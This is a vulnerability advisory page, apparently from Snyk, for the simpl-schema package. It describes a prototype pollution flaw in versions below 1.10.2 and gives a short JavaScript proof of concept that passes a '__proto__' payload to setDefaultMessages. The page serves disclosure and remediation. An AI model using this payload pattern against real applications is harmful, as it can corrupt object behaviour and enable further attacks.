simpl-schema@1.5.2 vulnerabilities

A schema validation package that supports direct validation of MongoDB update modifier objects.

  • latest version

    3.4.6

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    9 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the simpl-schema package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    simpl-schema is a schema validation package that supports direct validation of MongoDB update modifier objects.

    Affected versions of this package are vulnerable to Prototype Pollution.

    PoC

    const SimpleSchema = require("simpl-schema").default;
    let obj = {};
    console.log("Before : " + obj.polluted);
    SimpleSchema.setDefaultMessages(JSON.parse('{"__proto__":{"polluted":"yes"}}'));
    console.log("After : " + obj.polluted);
    

    How to fix Prototype Pollution?

    Upgrade simpl-schema to version 1.10.2 or higher.

    <1.10.2